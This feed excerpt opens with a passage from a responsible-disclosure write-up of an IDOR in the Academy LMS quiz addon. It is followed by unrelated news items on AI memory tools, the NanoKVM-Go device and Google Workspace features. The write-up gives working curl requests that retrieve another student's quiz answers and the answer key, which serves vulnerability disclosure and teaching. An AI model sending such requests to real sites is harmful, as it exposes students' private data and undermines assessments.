IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[4 Memory-Systeme, um KI aufzuschlauen]]></title>
<description><![CDATA[Wenn Ihre KI unter unzureichender „Gedächtnisleistung“ leidet, helfen diese Memory-Systeme von Drittanbietern (eventuell).DC Studio | shutterstock.com



KI-Agenten und die Large Language Models (LLMs), auf denen sie basieren, haben ein eher kurzlebiges „Gedächtnis“. Das ist so gewollt, schließli...]]></description>
<link>https://tsecurity.de/de/3675019/it-security-nachrichten/4-memory-systeme-um-ki-aufzuschlauen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675019/it-security-nachrichten/4-memory-systeme-um-ki-aufzuschlauen/</guid>
<pubDate>Fri, 17 Jul 2026 06:08:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/DC-Studio_shutterstock_2269121373_DEOnly_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Dev Meeting 16z9" class="wp-image-4075633" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Wenn Ihre KI unter unzureichender „Gedächtnisleistung“ leidet, helfen diese Memory-Systeme von Drittanbietern (eventuell).</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/4189343/was-ki-agenten-wirklich-kosten.html" target="_blank">KI-Agenten</a> und die Large Language Models (<a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">LLMs</a>), auf denen sie basieren, haben ein eher kurzlebiges „Gedächtnis“. Das ist so gewollt, schließlich kann nur eine begrenzte Menge an Konversationsinhalten in Token kodiert und vom LLM zuverlässig abgerufen werden. Um KI-Agenten und Sprachmodelle mit „Hirnschmalz“ auszustatten, das über ihre Kontextfenster hinausreicht, lässt sich Retrieval Augmented Generation (<a href="https://www.computerwoche.de/article/4192090/so-geht-memory-optimierung-bei-ki-agenten.html" target="_blank">RAG</a>) einsetzen. Erfolgsentscheidend ist dabei, wie dieser Mechanismus (oder ein anderer, um Gesprächsdaten vorzuhalten) konkret zur Anwendung kommt.</p>



<p class="wp-block-paragraph">Ein anderer Weg, sowohl KI-Agenten als auch LLMs mit erweiterten Speicherfähigkeiten auszustatten, führt über Software-Tools von Drittanbietern. Diese können die KI mit einer Session-übergreifenden, persistenten Memory ausstatten. Auch hier variiert jedoch die Art und Weise, wie das technisch umgesetzt wird. Die folgenden vier Projekte sind besonders empfehlenswert, wenn es darum geht, KI-Agenten und Sprachmodelle smarter zu machen.    </p>



<h2 class="wp-block-heading">1. <a href="https://github.com/getzep/graphiti" target="_blank" rel="noreferrer noopener">Graphiti</a></h2>



<p class="wp-block-paragraph">Graphiti wird als „das Open-Source-Framework für temporale Knowledge-Graphen“ beworben. Das Projekt ist auf GitHub verfügbar – oder auch im Rahmen des <a href="https://www.getzep.com/" target="_blank" rel="noreferrer noopener">Memory-Service Zep</a>, für den es die Grundlage liefert. „Temporal“ bedeutet in diesem Zusammenhang, dass die in Graphiti gespeicherten Informationen im Laufe der Zeit reevaluiert werden, um den Kontext korrekt einzubetten. Der Begriff „Graph-Framework“ ist hingegen darauf zurückzuführen, dass die Daten dabei als eine Reihe von Graphen gespeichert werden. Dieses Feature spielt auch bei den anderen in diesem Artikel vorgestellten Lösungen eine Rolle – im Fall von Graphiti steht es allerdings im Fokus.</p>



<p class="wp-block-paragraph">Out of the Box unterstützt das KI-Memory-Projekt eine ganze Reihe gängiger LLMs, etwa von Anthropic, OpenAI, Google oder X. Auch sämtliche Ollama- und OpenAI-kompatiblen <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">APIs</a> funktionieren mit Graphiti – es kann also auch mit <a href="https://www.computerwoche.de/article/2830445/5-wege-llms-lokal-auszufuehren.html" target="_blank">lokal gehosteten LLMs</a> genutzt werden. Daten aus Quellen wie GitHub, Gmail und OneDrive sowie aus Anwendungen wie Notion lassen sich über Konnektoren einbinden.</p>



<p class="wp-block-paragraph">Um Graphiti lokal nutzen zu können, ist es allerdings nötig, eine Graphdatenbank einzurichten oder eine Verbindung zu einer solchen herzustellen. Die Standardlösung dafür (mit dem breitesten Support) ist <a href="https://neo4j.com/" target="_blank" rel="noreferrer noopener">Neo4j</a>. Davon abgesehen, funktionieren auch <a href="https://aws.amazon.com/neptune/" target="_blank" rel="noreferrer noopener">Amazon Neptune</a>, <a href="https://www.falkordb.com/" target="_blank" rel="noreferrer noopener">FalkorDB</a> und <a href="https://kuzudb.github.io/" target="_blank" rel="noreferrer noopener">KuzuDB</a>. <a href="https://www.computerwoche.de/article/3803224/postgresql-als-rag-vektordatenbank-nutzen.html" target="_blank">Postgres</a> mit <code>pgvector</code> ist (derzeit) hingegen keine Option bei Graphiti.</p>



<h2 class="wp-block-heading">2. <a href="https://hindsight.vectorize.io/" target="_blank" rel="noreferrer noopener">Hindsight</a></h2>



<p class="wp-block-paragraph">Das KI-Memory-Projekt Hindsight als Cloud Service verfügbar, kann jedoch auch lokal gehostet werden. Dieses Tool speichert Details zu Agenten-Sitzungen in <a href="https://hindsight.vectorize.io/#key-components">vier verschiedenen Memory-Instanzen</a> und wendet dabei vier unterschiedliche <a href="https://hindsight.vectorize.io/#multi-strategy-retrieval-tempr" target="_blank" rel="noreferrer noopener">Storage- und Retrieval-Strategien</a> an. Diese werden über drei programmatische Interfaces gehändelt:</p>



<ul class="wp-block-list">
<li><code>retain</code>, um Inhalte (einzelne Fakten oder komplette Sessions) zu speichern,</li>



<li><code>recall</code>, um den Content abzurufen, und</li>



<li><code>reflect</code>, um einen Agenten-Loop über eine Abfrage zu initiieren, die zuvor gespeicherte Daten nutzt.</li>
</ul>



<p class="wp-block-paragraph">In Sachen Integrationen hat Hindsight eine breite Palette von First- und Third-Party-Optionen <a href="https://hindsight.vectorize.io/integrations" target="_blank" rel="noreferrer noopener">zu bieten</a>. Wenn Sie beispielsweise die „Continue“-Erweiterung mit Visual Studio Code einsetzen, um mit einem lokal gehosteten LLM zu kommunizieren, können Sie die <a href="https://hindsight.vectorize.io/sdks/integrations/continue" target="_blank" rel="noreferrer noopener">entsprechende First-Party-Integration</a> nutzen. In diesem Fall verwenden Sie einfach das Keyword <code>@hindsight</code> in der Query, um den Agenten-Kontext um relevante Memory zu erweitern. Um sich die Arbeit zu erleichtern, respektive diese zu automatisieren, könnten Sie außerdem auch auf (anpassbare) Auto-Injection-Regeln zurückgreifen.</p>



<h2 class="wp-block-heading">3. <a href="https://github.com/mem0ai/mem0" target="_blank" rel="noreferrer noopener">Mem0</a></h2>



<p class="wp-block-paragraph">Wie Hindsight nutzt auch Mem0 <a href="https://docs.mem0.ai/core-concepts/memory-types" target="_blank" rel="noreferrer noopener">vier grundlegende Memory-Typen</a> – allerdings sind diese anders benannt und organisiert. Beispielsweise kommt im Fall von Mem0 die sogenannte „Organizational Memory“ zum Einsatz, um Daten zu speichern, die zwischen verschiedenen KI-Agenten(-Teams) geteilt werden sollen.</p>



<p class="wp-block-paragraph">Jede Form von Memory, die über Mem0 hinzugefügt wird, durchläuft einen „<a href="https://docs.mem0.ai/core-concepts/memory-evaluation#memory-extraction-distillation" target="_blank" rel="noreferrer noopener">Destillationsprozess</a>“ und wird auf unterschiedliche Art und Weise (Vektor-, Graph- oder SQL-Datenbank) gespeichert. Ältere Daten werden bei Mem0 nicht gelöscht, sondern als veraltet markiert – eine Strategie, um einen umfassenderen, längerfristigen Kontext zu erzeugen.</p>



<p class="wp-block-paragraph">Das Projekt unterstützt im Vergleich – etwa zu Hindsight – weniger LLMs, die wichtigen Anbieter (Anthropic, Google, OpenAI) sind jedoch vertreten. Dazu kommen Self-Hosting-Optionen über <a href="https://www.computerwoche.de/article/2827054/was-ist-langchain.html" target="_blank">LangChain</a>, <a href="https://www.litellm.ai/" target="_blank" rel="noreferrer noopener">LiteLLM</a>, <a href="https://www.computerwoche.de/article/4131576/lm-studio-angetestet.html" target="_blank">LM Studio</a> und <a href="https://ollama.com/" target="_blank" rel="noreferrer noopener">Ollama</a>. Falls Sie Mem0 lokal statt <a href="https://mem0.ai/pricing" target="_blank" rel="noreferrer noopener">als Service</a> nutzen möchten, ist es nötig, eine Python-Instanz und eine eigene Vektordatenbank bereitzustellen. Für Letzteres ist Postgres mit der <code>pgvector</code>-Erweiterung eine gängige und simple Option, die sogar innerhalb einer virtuellen Python-Umgebung <a href="https://github.com/orm011/pgserver" target="_blank" rel="noreferrer noopener">installiert werden kann</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://supermemory.ai/" target="_blank" rel="noreferrer noopener">Supermemory</a></h2>



<p class="wp-block-paragraph">Supermemory erfasst Daten aus vielen gängigen Quellen und unterstützt dabei unter anderem Plaintext, strukturierte Daten, PDF- und Office-Dokumente sowie Video-, Audio- und Bilddateien. Aus diesen Informationen erstellt das Tool einen Kontextgraphen, der anschließend als Grundlage für Chatbot-Konversationen fungiert. PR-mäßig setzt dieses Projekt den Fokus vor allem auf seine Context-Extraktions-Tools.</p>



<p class="wp-block-paragraph">Supermemory ist entweder als Cloud-Dienst oder als quelloffene, lokal ausführbare Software verfügbar. Die <a href="https://github.com/supermemoryai/supermemory" target="_blank" rel="noreferrer noopener">Open-Source-Version</a> lässt zwar die Scaling Services und Drittanbieter-Konnektoren der Enterprise-Version vermissen – hat jedoch einen entscheidenden Vorteil: Sie besteht aus einer einzelnen <a href="https://www.computerwoche.de/article/4128783/4-self-contained-datenbanken-fur-entwickler.html" target="_blank">Self-Contained</a>-Binary. So lässt sie sich auch auf der eigenen Hardware mit sehr überschaubarem Aufwand bereitstellen.</p>



<p class="wp-block-paragraph">Da für dieses Projekt zudem keine externen Datenbanken aufgesetzt werden müssen, eignet es sich in besonderem Maße für (agile) Experimente. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4192397/four-agentic-ai-memory-systems-for-smarter-llms.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
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<title><![CDATA[NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM]]></title>
<description><![CDATA[by George Whittaker
      
            Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system thro...]]></description>
<link>https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</guid>
<pubDate>Fri, 17 Jul 2026 00:16:05 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341445" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm.jpg" width="850" height="500" alt="NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Sipeed has introduced <strong>NanoKVM-Go</strong>, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the <strong>Model Context Protocol (MCP)</strong>.</p>

<p>Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.</p>

<h2><strong>A Portable USB-C KVM</strong></h2>

<p>NanoKVM-Go is roughly the size of a smartwatch, measuring about <strong>45 × 40 × 15 mm</strong>, yet it combines several functions into a single device.</p>

<p>Key hardware features include:</p>

<ul><li>USB-C connection for video, audio, keyboard, mouse, and power</li>
	<li>Wi-Fi 6 connectivity</li>
	<li>Browser-based remote management</li>
	<li>Support for virtual USB storage</li>
	<li>Built-in Tailscale integration for secure remote access</li>
	<li>Fanless aluminum enclosure with low power consumption</li>
</ul><p>Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.</p>

<h2><strong>Designed for Linux and Beyond</strong></h2>

<p>NanoKVM-Go supports numerous USB-C devices, including:</p>

<ul><li>Linux desktops and laptops</li>
	<li>Windows PCs</li>
	<li>macOS systems</li>
	<li>Mini PCs</li>
	<li>Steam Deck</li>
	<li>Android devices with DisplayPort Alt Mode</li>
	<li>iPhone 15 and newer models</li>
	<li>Tablets supporting USB-C video output</li>
</ul><p>For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.</p>

<h2><strong>AI Integration Through MCP</strong></h2>

<p>One of NanoKVM-Go's defining features is its <strong>AI-native design</strong>.</p>

<p>Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an <strong>MCP (Model Context Protocol) server</strong>, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.</p>

<p>This enables AI systems to:</p>

<ul><li>View the screen</li>
	<li>Move the mouse</li>
	<li>Type on the keyboard</li>
	<li>Launch applications</li>
	<li>Navigate user interfaces</li>
	<li>Complete repetitive desktop workflows</li>
</ul><p>Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/nanokvm-go-brings-ai-powered-hardware-control-linux-compact-usb-c-kvm" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
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<title><![CDATA[Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids]]></title>
<description><![CDATA[Users now have access to Gemini Omni directly within Google Vids. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations wit...]]></description>
<link>https://tsecurity.de/de/3674708/web-tipps/cast-yourself-in-ai-video-clips-using-your-personal-avatar-with-gemini-omni-in-vids/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674708/web-tipps/cast-yourself-in-ai-video-clips-using-your-personal-avatar-with-gemini-omni-in-vids/</guid>
<pubDate>Thu, 16 Jul 2026 23:56:47 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Users now have access to Gemini Omni directly within <a href="https://docs.google.com/videos/create?usp=blog" target="_blank">Google Vids</a>. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations within Vids.</p><p><br></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgeIquZqGygFpCGeo8dOUArA4Hb2K8-9KiKRrSrKiNmb8cMT2Th4VemOsnJSHvvE72c_PoPoVZj-89hlds8sfiVa8759ZYz5bEYgjngBMha0u66Y8d4tkwnjlKvG19Ppu1d0u0J0QB2aDMs5w3WJZSgPg8UylT5_30RU1ASLwvKXVmGlt6v9exwLDfq9c/s1920/Cast%20yourself%20in%20AI%20video%20clips%20using%20your%20personal%20avatar%20with%20Gemini%20Omni%20in%20Vids%20-%206736.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgeIquZqGygFpCGeo8dOUArA4Hb2K8-9KiKRrSrKiNmb8cMT2Th4VemOsnJSHvvE72c_PoPoVZj-89hlds8sfiVa8759ZYz5bEYgjngBMha0u66Y8d4tkwnjlKvG19Ppu1d0u0J0QB2aDMs5w3WJZSgPg8UylT5_30RU1ASLwvKXVmGlt6v9exwLDfq9c/s1600/Cast%20yourself%20in%20AI%20video%20clips%20using%20your%20personal%20avatar%20with%20Gemini%20Omni%20in%20Vids%20-%206736.png"></a></td></tr><tr><td class="tr-caption">Personal avatar user experience<br><br></td></tr></tbody></table><p></p><ul><li><b>Secure verification:</b> Verify and manage your personal avatar directly within your <a href="https://myaccount.google.com/video-verification" target="_blank">Google Account</a>.</li><li><b>Seamless integration: </b>Easily add your personal avatar from the selector in Vids.</li><li><b>Administrative oversight: </b>Admins can manage or disable this feature through the Admin console.</li></ul><p></p><h4>A note on language and region availability</h4><p>At launch, personal avatars are available in English only for users 18 years and older. They’re not available in the European Economic Area, Switzerland, or the United Kingdom. Learn more about personal avatar <a href="https://support.google.com/accounts/answer/17100665?visit_id=639190374851512632-1124942400&amp;p=msa_privacy&amp;rd=1#privacy" target="_blank">privacy settings</a>.</p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>This feature will be ON by default and can be disabled or enabled at the domain level. Visit the Help Center to <a href="https://knowledge.workspace.google.com/admin/users/access/turn-vids-on-or-off-for-users#manage_personal_avatars_in_vids" target="_blank">learn more about managing personal avatars in Vids</a>.</li><li><b>End users: </b>Visit the Help Center to <a href="https://support.google.com/docs/answer/16970930" target="_blank">learn more about using personal avatars in Vids</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 16, 2026 </li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on August 5, 2026 </li></ul><p></p><h3>Availability</h3><p></p><ul><li><b>Business: </b>Business Starter, Standard, and Plus</li><li><b>Enterprise: </b>Enterprise Starter, Standard, and Plus</li><li><b>Education: </b>Education Plus</li><li><b>Consumer: </b>Google AI Pro and Ultra</li><li><b>Other Editions:</b> Enterprise Essentials and Enterprise Essentials Plus; Nonprofits</li><li><b>Education Add-ons: </b>Google AI Pro for Education; Teaching and Learning</li><li><b>Other Add-ons: </b>AI Expanded Access*</li></ul><p></p><p><i>*Users with AI Expanded Access add-on licenses have <a href="https://support.google.com/a/answer/14700766" target="_blank">higher limits</a> on usage of Omni in Vids.</i></p><h3>Resources</h3><p></p><ul><li>Google Docs Editors Help: <a href="https://support.google.com/docs/answer/16970930" target="_blank">Create, use &amp; manage your personal avatar with Gemini in Google Vids</a></li><li>Google Docs Editors Help: <a href="https://support.google.com/docs/answer/16143507" target="_blank">Use Omni in Google Vids</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[New Google Meet 'Take notes for me' settings for admins and end users]]></title>
<description><![CDATA[To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet.Admin settingsPreviously, admins could only enable or disable automatic note-taking for all meetings. Today, we’r...]]></description>
<link>https://tsecurity.de/de/3674707/web-tipps/new-google-meet-take-notes-for-me-settings-for-admins-and-end-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674707/web-tipps/new-google-meet-take-notes-for-me-settings-for-admins-and-end-users/</guid>
<pubDate>Thu, 16 Jul 2026 23:56:46 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
